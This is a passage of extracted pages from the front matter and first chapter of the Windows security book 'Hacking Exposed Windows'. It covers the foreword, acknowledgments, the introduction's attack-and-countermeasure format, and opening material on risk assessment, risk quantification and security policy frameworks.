. . . . . . . . . 372\nManaging Integrity Levels \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 374\nUser Account Control \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 375\nTokens and Processes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 375\nUnAdmin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 375\nWindows Service Hardening \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 377\nService Resource Isolation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 377\nLeast Privilege Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 380\nService Refactoring . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 385\nRestricted Network Access . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 386\nSession 0 Isolation \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 386\nYour Compiler Can Save You . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 387\nAn Overview of Overfl ows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 387\nGS Cookies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 388\n" }, { "page_number": 17, "text": "Contents \nxv\nSafeSEH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 392\nStack Changes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 397\nAddress Space Layout Randomization . . . . . . . . . . . . . . . . . . . . . . . . . 398\nWindows Resource Protection \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 399\nSummary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 402\nReferences and Further Reading \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 402\n▼A Windows Security Checklist . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 405\nCaveat Emptor: Roles and Responsibilities \n . . . . . . . . . . . . . . . . . . . . . . . . . . . 406\nPreinstallation Considerations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 406\nBasic Windows Hardening . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 407\nNon-Template Recommendations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 407\nSecurity Templates Recommendations . . . . . . . . . . . . . . . . . . . . . . . . . 409\nWindows Firewall and IPSec \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 411\nGroup Policy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 412\nMiscellaneous Confi gurations \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 412\nWeb Application Security Considerations \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . 413\nSQL Server Security Considerations \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 414\nTerminal Server Security Considerations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 416\nDenial of Service Considerations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 417\nInternet Client Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 418\nAudit Yourself! \n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 420\n▼B About the Companion Website . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 421\nIndex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 423\n" }, { "page_number": 18, "text": "This page intentionally left blank \n" }, { "page_number": 19, "text": "xvii\nFOREWORD\nS\necurity is a broad topic that is only becoming broader as we become more reliant on \ncomputers for everything we do, from work to home to leisure, and our computers \nbecome more and more interconnected. Most of our computing experiences now \nrequire, or are enriched by, Internet connections, which means our systems are constantly \nexposed to foreign data of unknown or uncertain integrity. When you click search links, \ndownload applications, or configure Internet-facing servers, every line of code through \nwhich the data flows is potentially subject to a storm of probing for vulnerable \nconfiguration, flawed programming logic, and buggy implementation—even within the \nconfines of a corporate network. Your data and computing resources are worth money in \nthe Web 2.0 economy, and where there’s money, there are people who want to steal it.\nAs the Web has evolved, we’ve also seen the criminals evolve. Ten years ago, the \nthreat was an e-mail-borne macro virus that deleted your data. Five years ago, it was \nautomatically propagating worms that used buffer overflows to enlist computers into \ndistributed denial of service attack networks. Three years ago, the prevalent threat \nbecame malware that spreads to your computer when you visit infected websites and \nthat subsequently delivers popup ads and upsells you rogue anti-malware. More recently, \nmalware uses all these propagation techniques to spread into a stealthy distributed \nnetwork of general-purpose “bots” that serve up your data, perform denial of service, or \nspew spam. The future is one of targeted malware that is deliberately low-volume and \ncustomized for classes of users, specific corporations, or even a single individual.\nWe’ve also seen computer security evolve. Antivirus is everywhere, from the routers \non the edge to servers, clients, and soon, mobile devices. Firewalls are equally ubiquitous \nand lock down unused entry and exit pathways. Operating systems and applications are \nwritten with security in mind and are hardened with defense-in-depth measures such as \nno-execute and address layout randomization. Users can’t access corporate networks \nwithout passing health assessments.\nOne thing is clear: there’s no declaration of victory possible in this battle. It’s a \nconstant struggle where winning means keeping the criminals at bay another day. And \nthere’s also no clear cut strategy for success. Security in practice requires risk assessment, \nand successful risk assessment requires a deep understanding of both the threats and the \ndefensive technologies.\n" }, { "page_number": 20, "text": "xviii \nHacking Exposed Windows: Windows Security Secrets & Solutions \nIt’s this ability to help you perform accurate risk assessment that makes Hacking\nExposed Windows valuable. There are few places where you can get a one-stop look at the \nsecurity landscape in which Windows lives. Joel and his fellow contributors have done \nan outstanding job of documenting the latest advances in threats, including buffer \noverflows, rootkits, and cross-site scripting, as well as defensive technologies such as \nno-execute, Vista’s UAC, and address space layout randomization. If understanding \nWindows security is anywhere in your job description, I highly recommend reading this \nbook from back to front and keeping it as a reference for your ongoing battle.\n—Mark Russinovich\nTechnical Fellow, Microsoft Corporation\n" }, { "page_number": 21, "text": "xix\nACKNOWLEDGMENTS\nF\nirst and foremost, many special thanks to all our families for once again supporting \nus through still more months of demanding research and writing. Their \nunderstanding and support was crucial to us completing this book. We hope that \nwe can make up for the time we spent away from them to complete this project.\nSecondly, we would like to thank all of our colleagues who contributed directly to \nthis book, including Jussi Jaakonaho and everyone at Toolcrypt for their always innovative \nupdates to the chapters on Windows remote hacking and post-exploit pillaging; Robert \nHensing of Microsoft for his tour de force chapter on Windows rootkits and stealth \ntechniques; Blake Frantz of Leviathan for his crisp technical exploration of Windows \nvulnerability discovery and exploitation, as well as the new security features and tools \nin Vista and Windows Server 2008; Chip Andrews, whose contribution of the latest and \ngreatest SQL security information was simply stellar, as always; David Wong for his \nassistance with client-side security; and of course Mark Russinovich, whose Foreword \nand many years of contributions to the industry via tools, research, and writing are \nappreciated beyond words.\nAs always, we bow profoundly to all of the individuals who tirelessly research and \nwrite the innumerable tools and proof-of-concept code that we document in this book, as \nwell as all of the people who continue to contribute anonymously to the collective \ncodebase of security each day.\nOf course, big thanks must also go to the tireless McGraw-Hill editors and production \nteam who worked on the book, including our indefatigable acquisitions editor Jane \nBrownlow, acquisitions editor Megg Morin who provided great guidance while Jane \nwas away, Hacking Exposed hall-of-fame editor LeeAnn Pickrell, production guru Jim \nKussow, and editorial assistant Jenni Housh who kept things on track over a long period \nof writing and development.\nAnd finally, a tremendous “Thank You” to all of the readers of the previous editions \nof this book, and all the books in the Hacking Exposed series, whose continuing support \nmakes all of the hard work worthwhile.\n" }, { "page_number": 22, "text": "This page intentionally left blank \n" }, { "page_number": 23, "text": "xxi\nINTRODUCTION\nWINDOWS SECURITY: A JOURNEY, NOT A DESTINATION\nIf you are to believe the U.S. government, Microsoft Corporation controls a monopoly \nshare of the computer operating system market and possibly many other related software \nmarkets as well (web browsers, office productivity software, and so on). And despite \ncontinued jeers from its adversaries in the media and the marketplace, Microsoft manages \nto hold on to this “monopoly” year after year, flying in the face of a lengthening history \nof flash-in-the-pan information technology startups ground under by the merciless \nonslaught of change and the growing fickleness of the digital consumer. Love ‘em, hate \n‘em, or both, Microsoft continues to produce some of the most broadly popular software \non the planet today.\nAnd yet, in parallel with this continued popularity, most media outlets and many \nsecurity authorities still continue to portray Microsoft’s software as fatally flawed from \na security perspective. If Bill Gates’ products are so insecure, why do they seem to remain \nso popular?\nThe Windows Security Gap\nThe answer is really quite simple. Microsoft’s products are designed for maximum ease-\nof-use, which drives their rampant popularity. What many fail to grasp is that security is \na zero-sum game: the easier it is to use something, the more time and effort must go into \nsecuring it. Think of security as a continuum between the polar extremes of 100 percent \nsecurity on one side and 100 percent usability on the other, where 100 percent security \nequals 0 percent usability, and 100 percent usability equates to 0 percent security.\nOver time, Microsoft has learned to strike a healthier balance on this continuum. \nSome things they have simply shut off in default configurations (IIS in Windows Server \n2003 comes to mind). Others they have redesigned from the ground up with security as \na priority (IIS’ re-architecture into kernel-mode listener and user-mode worker threads is \nalso exemplary here). More recently, Microsoft has wrapped “prophylactic” technology \nand UI around existing functionality to raise the bar for exploit developers (we’re \nthinking of ASLR, DEP, MIC, and UAC in Vista). And, of course, there has been a lot of \nwork on the fundamentals—patching code-level vulnerabilities on a regular basis (“Patch \nTuesday” is now hardened into the lexicon of the Windows system administrator), \n" }, { "page_number": 24, "text": "xxii \nHacking Exposed Windows: Windows Security Secrets & Solutions \nimproving visibility and control (the Windows Security Center is now firmly ensconced \nin the System Tray/Notification Area of every modern Windows installation), adding \nnew security functionality (Windows Defender anti-spyware), and making steady \nrefinements (witness the Windows Firewall’s progression from mostly standalone IP \nfilter to integrated, policy-driven, bidirectional, app/user-aware market competitor).\nHas it worked? Yes, Windows Vista is harder to compromise out of the box than \nWindows NT 4, certainly. Is it perfect? Of course not—practical security never is \n(remember that continuum). And, like a rubber balloon filled with water, the more \nMicrosoft has squeezed certain types of vulnerabilities, the more others have bulged out \nto threaten unassuming users. We discuss some of the new attack approaches in this \nbook, including device driver vulnerabilities that leave systems open to compromise by \nsimply brushing within range of a wireless network and insidious stealth technology \ndeposited by “drive-by” web browsing, just to name two.\nAs Microsoft Chairman Bill Gates said in his “Trustworthy Computing” memo of \nJanuary 2002 (http://www.microsoft.com/mscorp/execmail/2002/07-18twc.mspx), \n“[security]… really is a journey rather than a destination.” Microsoft has made progress \nalong the road. But the journey is far from over.\nHacking Exposed: Your Guide to the Road Ahead\nHacking Exposed Windows is your guide to navigating the long road ahead. It adapts the \ntwo-pronged approach popularized in the original Hacking Exposed, now in its Fifth \nEdition.\nFirst, we catalog the greatest threats your Windows deployment will face and explain \nhow they work in excruciating detail. How do we know these are the greatest threats? \nBecause we are hired by the world’s largest companies to break into their Windows-based \nnetworks, servers, products, and services, and we use the same tools and techniques on a \ndaily basis to do our jobs. And we’ve been doing it for nearly a decade, researching the \nmost recently publicized hacks, developing our own tools and techniques, and combining \nthem into what we think is the most effective methodology for penetrating Windows \nsecurity in existence.\nOnce we have your attention by showing you the damage that can be done, we tell you \nhow to prevent each and every attack. Running Windows without understanding the \ninformation in this book is roughly equivalent to driving a car without seatbelts—down a \nslippery road, over a monstrous chasm, with no brakes, and the throttle jammed on full.\nEmbracing and Extending Hacking Exposed\nFor all of its similarities, Hacking Exposed Windows is also distinct from the original title \nin several key ways. Obviously, it is focused on one platform, as opposed to the \nmultidisciplinary approach of Hacking Exposed. While Hacking Exposed surveys the \nWindows security landscape, this book peels back further layers to explore the byte-level \nworkings of Windows security attacks and countermeasures, revealing insights that will \nturn the heads of even seasoned Windows system administrators. It is this in-depth \nanalysis that sets it apart from the original title, where the burdens of exploring many \nother computing platforms necessitate superficial treatment of some topic areas.\n" }, { "page_number": 25, "text": "Throughout this book, we use the phrase Windows to refer to all systems based on Microsoft’s “New \nTechnology” (NT) platform, including Windows NT 3.x–4.x, Windows 2000, Windows XP, Windows \nServer 2003, Vista, and Windows Server 2008 (code name Longhorn). In contrast, we will refer to the \nMicrosoft DOS/Windows 1.x/3.x/9x/Me lineage as the “DOS Family.”\nYou will find no aspect of Windows security treated superficially in this book. Not \nonly does it embrace all of the great information and features of the original Hacking\nExposed, it extends it in significant ways. Here, you will find all of the secret knowledge \nnecessary to close the Windows security gap for good, from the basic architecture of the \nsystem to the undocumented Registry keys that tighten it down.\nHOW THIS BOOK IS ORGANIZED\nThis book is the sum of its parts, which are described below from broadest organizational \nlevel to the most detailed.\nChapters: The Hacking Exposed Methodology\nThe chapters in this book follow a definite plan of attack. That plan is the methodology \nof the malicious hacker, adapted from Hacking Exposed:\n• Footprint\n• Scan\n• Enumerate\n• Exploit\n• Pillage\n• Stealth\nThis structure forms the backbone of this book, for without a methodology, this would \nbe nothing but a heap of information without context or meaning.\nWe’ve wrapped this basic outline with the following additional components:\n• Overview of Windows’ security architecture\n• Attacking SQL Server\n• Attacking Internet clients\n• Physical attacks\n• Windows security features and tools\nModularity, Organization, and Accessibility\nClearly, this book could be read from start to finish to achieve a soup-to-nuts portrayal of \nWindows penetration testing. However, like Hacking Exposed, we have attempted to \nmake each section of each chapter stand on its own, so the book can be digested in \nmodular chunks, suitable to the frantic schedules of our target audience.\nIntroduction \nxxiii\n" }, { "page_number": 26, "text": "xxiv \nHacking Exposed Windows: Windows Security Secrets & Solutions \nMoreover, we have strictly adhered to the clear, readable, and concise writing style \nthat readers overwhelmingly responded to in Hacking Exposed. We know you’re busy, \nand you need the straight dirt without a lot of doubletalk and needless jargon. As a \nreader of Hacking Exposed once commented, “Reads like fiction, scares like hell!”\nWe think you will be just as satisfied reading from beginning to end as you would \npiece by piece, but it’s built to withstand either treatment.\nChapter Summaries and References and Further Reading\nIn an effort to improve the organization of this book, we have included the standard \nfeatures from the previous edition at the end of each chapter: a “Summary” and \n“References and Further Reading” section.\nThe “Summary” is exactly what it sounds like, a brief synopsis of the major concepts \ncovered in the chapter, with an emphasis on countermeasures. We would expect that if \nyou read the “Summary” from each chapter, you would know how to harden a Windows \nsystem to just about any form of attack.\n“References and Further Reading” includes URLs, publication information, and any \nother detail necessary to locate each and every item referenced in the chapter, including \nMicrosoft Security Bulletins, Service Packs, Hotfixes, Knowledge Base articles, third-\nparty advisories, commercial and freeware tools, Windows hacking incidents in the \nnews, and general background reading that amplifies or expands on the information \npresented in the chapter. You will thus find few URLs within the text of the chapters \nthemselves—if you need to find something, turn to the end of the chapter, and it will be \nthere. We hope this consolidation of external references into one container improves \nyour overall enjoyment of the book.\nAppendix A: The Windows Hardening Checklist\nWe took all of the great countermeasures discussed throughout this book, boiled them \ndown to their bare essences, sequenced them appropriately for building a system from \nscratch, and stuck them all under one roof in Appendix A. Yes, there are a lot of Windows \nsecurity checklists out there, but we think ours is the most real-world, down-to earth, yet \nrock-hard set of recommendations you will find anywhere.\nTHE BASIC BUILDING BLOCKS: ATTACKS AND \nCOUNTERMEASURES\nAs with the entire Hacking Exposed series, the basic building blocks of this book are the \nattacks and countermeasures discussed in each chapter.\nThe attacks are highlighted here as they are throughout the Hacking Exposed series:\nThis Is an Attack Icon\nHighlighting attacks like this makes it easy to identify specific penetration-testing tools \nand methodologies and points you right to the information you need to convince \nmanagement to fund your new security initiative.\n" }, { "page_number": 27, "text": "Each attack is also accompanied by a Risk Rating, scored exactly as in Hacking\nExposed:\nPopularity:\nThe frequency of use in the wild against live targets, 1 \nbeing most rare, 10 being widely used\nSimplicity:\nThe degree of skill necessary to execute the attack, 10 being \nlittle or no skill, 1 being seasoned security programmer\nImpact:\nThe potential damage caused by successful execution of \nthe attack, 1 being revelation of trivial information about \nthe target, 10 being superuser account compromise or \nequivalent\nRisk Rating:\nThe preceding three values are averaged to give the overall \nrisk rating and rounded to the next highest whole number\nCountermeasures, in turn, receive their own special visual flourish:\nThis Is a Countermeasure icon\nThese sections typically follow each “attack” description and discuss the preventive, \ndetective, and reactive controls that you can put in place to mitigate the just-described \nexploit. Many times we will reference the official Microsoft Security Bulletin relevant to \nthe attack at hand. Microsoft Security Bulletins include technical information about the \nproblem, recommended workarounds, and/or software patches. The Bulletin number \ncan be used to find the bulletin itself via the Web:\nhttp://www.microsoft.com/technet/security/bulletin/MS##-###.asp\nwhere MS##-### represents the actual Bulletin number, For example, MS07-039 would \nbe the 39th bulletin of 2007.\nSometimes we will also use the Bugtraq ID, or BID, which refers to the tracking \nnumber given to each vulnerability by Securityfocus.com’s famous Bugtraq mailing list \nand vulnerability database. This also allows the Bugtraq listing to be looked up directly \nvia the following URL:\nhttp://www.securityfocus.com/bid/####\nwhere #### represents the BID (for example, 1578).\nWe also make use of the Common Vulnerabilities and Exposures notation (CVE, \nhttp://cve.mitre.org) to reference vulnerabilities. CVE notation is similar to Microsoft’s: \nCVE-####-$$$$, where the first set of four digits is the year, and the second is the numeric \nvulnerability identifier. For example, CVE-2007-3826 is the 3,286th vulnerability cataloged \nby CVE in the year 2007.\nThroughout this book, we also use a common syntax for referring to Microsoft Knowledge Base (KB) \narticles: http://support.microsoft.com/?kbid=123456, where 123456 represents the six-digit KB \narticle ID.\nIntroduction \nxxv\n" }, { "page_number": 28, "text": "xxvi \nHacking Exposed Windows: Windows Security Secrets & Solutions \nOther Visual Aids\nWe’ve also made prolific use of visually enhanced\nicons to highlight those nagging little details that often get overlooked.\nONLINE RESOURCES AND TOOLS\nWindows security is a rapidly changing discipline, and we recognize that the printed \nword is often not the most adequate medium to keep current with all of the new \nhappenings in this vibrant area of research.\nThus, we have implemented a World Wide Web site that tracks new information \nrelevant to topics discussed in this book, along with errata, and a compilation of the \npublic-domain tools, scripts, and dictionaries we have covered throughout the book. \nThat site address is:\nhttp://www.winhackingexposed.com\nIt also provides a forum to talk directly with the lead author via email:\njoel@winhackingexposed.com\nWe hope that you return to the site frequently as you read through these chapters to \nview any updated materials, gain easy access to the tools that we mention, and otherwise \nkeep up with the ever-changing face of Windows security. Otherwise, you never know \nwhat new developments may jeopardize your network before you can defend yourself \nagainst them.\nA FINAL WORD TO OUR READERS\nThere are a lot of late nights and worn-out keyboards that went into this book, and we \nsincerely hope that all of our research and writing translates to tremendous time savings \nfor those of you responsible for securing Windows. We think you’ve made a courageous \nand forward-thinking decision to deploy Microsoft’s flagship OS—but as you will \ndiscover in these pages, your work only begins the moment you remove the shrink-\nwrap. Don’t panic—start turning the pages and take great solace that when the next big \nWindows security calamity hits the front page, you won’t even bat an eye.\n—Joel\n" }, { "page_number": 29, "text": "1\n1\nInformation \nSecurity \nBasics\n" }, { "page_number": 30, "text": "2 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nI\nt’s difficult to talk about any system in a vacuum, especially a system that is so widely \ndeployed in so many roles as Windows in all of its flavors. This chapter previews \nsome basic information system security defensive postures so that your understanding \nof the specifics of Windows is better informed.\nA FRAMEWORK FOR OPERATIONAL SECURITY\nBecause of its sheer ubiquity, the Windows operation system is likely to be touched by \nmany people, processes, and other technologies during the course of its duty cycle. Thus, \nany consideration of Windows security would be incomplete if it did not start with an \nacknowledgment that it is just one piece of a much larger puzzle.\nOf course, here’s where the challenge arises. This book covers the bits and bytes that \nmake up Windows security, a finite universe of measures that can be taken to prevent \nbad things from happening. However, as any experienced IT professional knows, a lot \nmore than bits and bytes are needed for a good security posture. What are some key non-\ntechnical considerations for security? Another book probably needs to be written here, \nbut we’ll try to outline some of the big pieces in the following discussion to reduce the \nconfusion to a minimum so that readers can focus on the meat and potatoes of Windows \nsecurity throughout the rest of this book.\nFigure 1-1 illustrates a framework for operational security within a typical \norganization. The most telling thing to note about this framework at first glance is that it \nis cyclical. This aligns the model with the notion of security as a journey, not a destination. \nNew security threats are cropping up all the time (just tap into any of the popular security \nmailing lists, such as Bugtraq, to see this), and thus any plan to address those threats \nmust be ongoing, or cyclic.\nThe four elements of the “security wheel” shown in Figure 1-1 are Plan, Prevent, \nDetect, and Respond. While such frameworks are sometimes criticized as “one size fits \nall” thinking that may not align with established organizational structures or cultures, \nwe’ve found that these four simple building blocks are the most resonant with our \nconsulting clients who run IT shops of all sizes, and they generally encompass all the \nvarious components of their security efforts. Let’s talk about each one of these in turn.\nFigure 1-1 A framework for operational security\n" }, { "page_number": 31, "text": "Chapter 1: Information Security Basics \n3\nPlan\nSecurity is a challenging concept, especially when it comes to technology. When \nconsidering how to provide security, you need to begin planning around the following \nquestions:\n• What asset am I trying to secure?\n• What are the asset’s security requirements?\n• What are the risks unique to that asset’s security requirements?\n• How do I prioritize and most effi ciently address those risks (especially those \nwith heavy impact such as industry and regulatory compliance requirements)?\nThese questions describe a risk-based approach to security, popularized by many \nmodern practitioners. Well-known risk-based security methodologies include the CERT’s \nOperationally Critical Threat, Asset, and Vulnerability Evaluation (OCTAVE) Method. \nMicrosoft also promotes their own approach to risk management in software development \nscenarios, which they call threat modeling. We will articulate an oversimplified adaptation \nof common risk management best practices here, and we encourage readers interested in \nmore details to consult the “References and Further Reading” section at the end of this \nchapter.\nLet’s start with the determination of assets. This exercise is not as straightforward as \nyou might think—assets can be server hardware, information in a database, or even \nproprietary manufacturing practices. In fact, we are often amazed when our consulting \nclients are sometimes unable to provide a coherent answer to the simple question, “What \nare your most important assets?” We often find it helpful to scope the answer to this \nquestion narrowly at first, perhaps limiting the scope to digital information assets \nconsidered valuable to the organization. Of course, the physical vessels upon which the \ndigital assets travel (be they computer servers, or USB thumb drives, or kiosk computer \nmonitors, or paper printouts) are also of critical importance to security, but we’ve found \nthat it’s easier to consider those relationships later in the risk assessment process. We also \nrecommend postponing consideration of less tangible assets such as reputation until \nyou’ve first acquired some practice at the risk-management game.\nSensitive digital information asset categories to consider include credentials (such as \npasswords and private cryptographic keys), personally identifiable information (remember \nthat sensitivity can depend on whether consent is granted for specific uses), liquid financial \ninstruments or information (such as credit card data), proprietary information (including \nunreported financial results or business methodologies), and the availability of productive \nfunctionality (including access to functional systems, electricity, and so on).\nOnce you have determined what assets you are trying to secure, your next step is to \nidentify each asset’s security requirements, if any. As with assets, it’s quite helpful to \nclassify security requirements into their most generic categories. Most modern definitions \nof information system security center around protecting the confidentiality, integrity, and \navailability (CIA) of important assets, so this is our recommendation. One might consider \nanother A, for accountability, to capture the notion that the system must also faithfully \nrecord activity so that it can be subsequently examined or audited (such as through audit \nlogging).\n" }, { "page_number": 32, "text": "4 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nAt this point, you may consider grouping assets into classes based on their perceived sensitivity to the \norganization. This can yield a system of policies and supporting controls for each asset type. For \nexample, High Sensitivity assets such as credit card information may require encryption when stored \nor transmitted, whereas Low Sensitivity assets would not. Here again, compliance requirements \nshould be considered (such as with credit card data that likely falls under the Payment Card Industry \nData Security Standard, or PCI DSS).\nWith assets and security requirements in place, it is time to consider the risks that \neach asset faces. This process is commonly called risk assessment. Several approaches to \nrisk assessment exist, but the one we recommend is the least formal: logically diagram \nthe system in question, decomposed into its constituent parts, paying close attention to \nboundaries and interfaces between each component as well as key assets, and brainstorm \nthe possible threats to CIAA that they face.\nSome more systematic (but not necessarily superior) approaches to conceptualizing threats \ninclude attack trees and Microsoft’s threat modeling methodology. See “References and Further \nReading.”\nQuantifying Risk\nOnce you have derived a list of threats, you should systematically prioritize them so that \nthey can be addressed efficiently. Over-commitment of resources to mitigate low-risk \nthreats can be just as damaging to an organization as under-spending on high-risk \nmitigations, so it’s important to get this step right.\nNumerous systems can be used for quantifying and ranking security risk. A classic \nand simple approach to risk quantification is illustrated in the following formula:\nRisk = Impact × Probability\nThis is a simple system to understand, and it even enables greater collaboration between \nbusiness and security interests within the organization. For example, the quantification \nof business Impact could be delegated to the office of the chief financial officer (CFO), \nand the Probability estimation could be assigned to the chief security officer (CSO), or \ntheir equivalents. This produces a smart division of labor and accountability when it \ncomes to managing risk for the organization overall.\nIn this system, Impact is usually expressed in monetary terms, and Probability as a \npercentage likelihood between 0 and 100 percent. For example, a vulnerability with a \n$100,000 impact and a 30 percent probability has a risk ranking of $30,000 ($100,000 × \n0.30). Hard-currency estimates like this usually get the attention of management and \ndrive more practicality into risk quantification. The equation can be componentized even \nfurther by breaking Impact into (Assets × Threats) and Probability into (Vulnerabilities × \nMitigations).\n" }, { "page_number": 33, "text": "Chapter 1: Information Security Basics \n5\nWe’ve seen risk models that factor components further. For example, if system component A has 3 \nhigh-impact vulnerabilities, but component A is connected to another system in a fully trusted \nconfiguration that has 12 vulnerabilities, you could calculate a total vulnerability surface of (3 + 12)2,\nor the square of the sum of vulnerabilities.\nOther popular risk quantification approaches include Microsoft’s DREAD system \n(Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability),\nas well as the simplified system used by the Microsoft Security Response Center in their \nsecurity bulleting severity ratings. The Common Vulnerability Scoring System (CVSS) is \na somewhat more complex but potentially more accurate representation of common \nsoftware vulnerability risks. (We really like the componentized approach that inflects a \nbase security risk score with temporal and environmental factors unique to the \napplication.) Links to more information about all of these systems can be found at the \nend of this chapter in “References and Further Reading.”\nWe encourage you to tinker with each of these approaches and determine which one \nis right for you and your organization. Perhaps you may even develop your own, based \non concepts garnered from each of these approaches, or build one from scratch. Risk \nquantification can be quite subjective, and it’s unlikely that you’ll ever find a system that \nresults in consensus among even a few people. Just remember the main point: Apply \nwhatever system you choose consistently over time so that relative ranking of threats is \nconsistent. This is after all the goal—deciding which threats will be addressed in priority. \nWe’ve also found that it’s very helpful to set a threshold risk level, or “risk bar,” above \nwhich a given threat must be mitigated. There should be broad agreement on where this \nthreshold lies before the ranking process is complete. This creates consistency across \nassessments and makes it harder to game the system by simply moving the threshold \naround. (It also tends to smoke out people who deliberately set low scores to come in \nbelow the risk bar.)\nPolicy\nClearly, the optimal thing to do with the risks that are documented during the assessment \nprocess is to mitigate or eliminate them (although other options exist, including transfer \nof the risk via purchasing insurance, or acceptance as-is). Determining the mitigation \nplan for these risks is the heart of the Planning phase: policy development.\nPolicy is central to security; without it, security is impossible. How can something be \nconsidered a breach of security without a policy to define it? Policy defines how risks to \nassets are mitigated on a continuous basis. Thus, it should be based firmly on the risk \nassessment process.\nThat said, a strong organizational security policy starts with a good template. We \nrecommend the ISO 17799 policy framework, which has become quite popular as a \nframework for security policy since becoming an international standard. ISO 17799 is \nbeing incorporated into the new ISO 27000–series standards, which encompass a range \n" }, { "page_number": 34, "text": "6 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nof information security management standards and practices (similar to the widely used \nISO 9000–series quality assurance standards). ISO 27001 includes a controls framework \nfor implementing and measuring compliance with the policy standards. Other popular \ncontrol frameworks include COBIT, COSO, and ITIL. (See “References and Further \nReading” for links to information on these standards.)\nAnother great dividend that arises from basing your policy on widely accepted \nstandards such as ISO 17799 is the improved agility to meet evolving compliance regimes \nsuch as these:\n• Sarbanes-Oxley Act of 2002 requiring U.S. publicly held companies to \nimplement, evaluate, and report on internal controls over their fi nancial \nreporting, operations, and assets.\n• Basel II: The International Convergence of Capital Measurement and Capital Standards: \nA Revised Framework that revises international standards for measuring the \nadequacy of a bank’s capital based on measured risk (including operational \nrisk, such as information system security).\n• Payment Card Industry Data Security Standard (PCI DSS) for any entity that \nprocesses, stores, or transmits credit card information from major issuers such \nas Visa, MasterCard, and American Express.\n• Health Insurance Portability and Accountability Act of 1996 (HIPAA), which \nspecifi es a series of administrative, technical, and physical security procedures \nfor covered entities to use to assure the confi dentiality of electronic protected \nhealth information.\n• Gramm-Leach-Bliley Act of 1999 (GLBA) regulating U.S. consumers’ personal \nfi nancial information held by fi nancial institutions.\n• Security breach notifi cation laws evolving in many U.S. states today (such as \nCalifornia’s SB 1386).\nEven if your organization isn’t covered by one of these regulations (and we bet you \nare somehow!), it’s probably only a matter of time before you’ll need to be compliant \nwith their statutes in one form or another. If you even think your organization needs to \nmeet some sort of regulatory compliance requirements, we cannot emphasize enough \nthe efficiency gained by re-using one security program framework for meeting the \nevolving alphabet soup of compliance requirements facing modern business today. And \nwe’ve got the scars to prove it, having personally designed and implemented an ISO \n17799–based security policy that successfully passed audits of compliance for SOX, \nGLBA, PCI, and other one-off regulatory enforcement actions by the U.S. government.\nAlthough the importance of meeting evolving compliance requirements can’t be \noveremphasized, smaller organizations with more narrowly scoped needs may find ISO \nstandards and supporting frameworks burdensome to plan and implement. For \norganizations of all sizes, a good (but expensive) collection of prewritten security policies \nis Charles Cresson Woods’ Information Security Policies Made Easy (Information Shield, \n2005). We’d also recommend reading RFCs 2196 and 2504, “Site Security Handbook” and \n" }, { "page_number": 35, "text": "Chapter 1: Information Security Basics \n7\n“User Handbook,” respectively, for great policy ideas. A simple Internet search for \n“information security policies” will also turn up some great examples, such as at many \neducational institutions that publish their policies online.\nA discussion of organizational security policy development and maintenance lies \noutside the scope of this book. However, here are a few tips:\nUnderstand the Business Security practitioners must first understand the business that \nthey are there to help protect; understanding business operations creates the vocabulary \nto enable a constructive conversation and leads to being perceived as an enabler, rather \nthan a hindrance. In our experience, security practitioners generally need to become \nmore mature in this department, to present information security risk in appropriate \nbusiness terms. Focusing on collaborative approaches to measuring risk and implementing \nmeasurable controls is always a smarter way to get resources from business leaders, in \nour experience.\nCultural Buy-in Convince management to read thoroughly and support the policy. \nManagement ultimately enforces the policy, and if managers don’t believe it’s correct, \nyou’ll have an extraordinarily difficult time getting anyone in the organization to follow \nit. Consider creating a governance body that comprises key organizational stakeholders, \nwith defined accountabilities, to evolve and enforce the policy long-term.\nAt the same time, recognize that executive buy-in is useful only if company personnel \nlisten to executives, which isn’t always the case in our experience. At any rate, some level \nof grassroots buy-in is always necessary, no matter how firmly management backs the \npolicy; otherwise, it just won’t get adopted to the extent required to make significant \nchanges to security. Make sure to evangelize and pilot your security program well at all 